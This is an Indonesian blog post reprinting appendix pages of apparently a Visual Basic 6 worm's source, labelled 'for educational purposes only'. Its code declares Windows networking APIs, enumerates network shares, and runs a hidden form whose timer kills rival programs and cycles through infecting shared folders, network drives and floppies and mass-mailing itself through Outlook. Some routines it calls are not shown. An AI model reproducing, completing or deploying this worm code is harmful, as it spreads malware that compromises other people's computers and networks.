‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal
dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal
dwDesiredAccess As Long,
ByVal bInheritHandle As Long, ByVal dwProcessId As Long)
As Long
Public Declare Function GetExitCodeProcess Lib "kernel32"
(ByVal hProcess As Long,
lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal
hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias
"FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As
Long
Public Declare Function CloseWindow Lib "user32" (ByVal
hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias
"WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal
dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll"
Alias
"WNetEnumResourceA" _Page 11
Hanya untuk tujuan pendidikan saja
11
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As
NETRESOURCE,
lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal
hEnum As Long) As
Long
Public Declare Function lstrlen Lib "kernel32" Alias
"lstrlenA" (ByVal pString As Long)
As Long
Public Declare Function lstrcpy Lib "kernel32" Alias
"lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal
Provider As String, sShares()
As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0,
nr(0),
hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran BPage 12
Hanya untuk tujuan pendidikan saja
12
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer
'0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = FalsePage 13
Hanya untuk tujuan pendidikan saja
13
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub
---------------------------------------------------------------------------
Pengen Coba Music Mail GRATIS? Aktifkan Music Mail anda di mail Telkom.net dan Plasa.com
dan kirim email dengan Music Mail ke seluruh rekan anda. Berlaku hingga 31 Agustus 2007.
---------------------------------------------------------------------------
No comments:
Post a Comment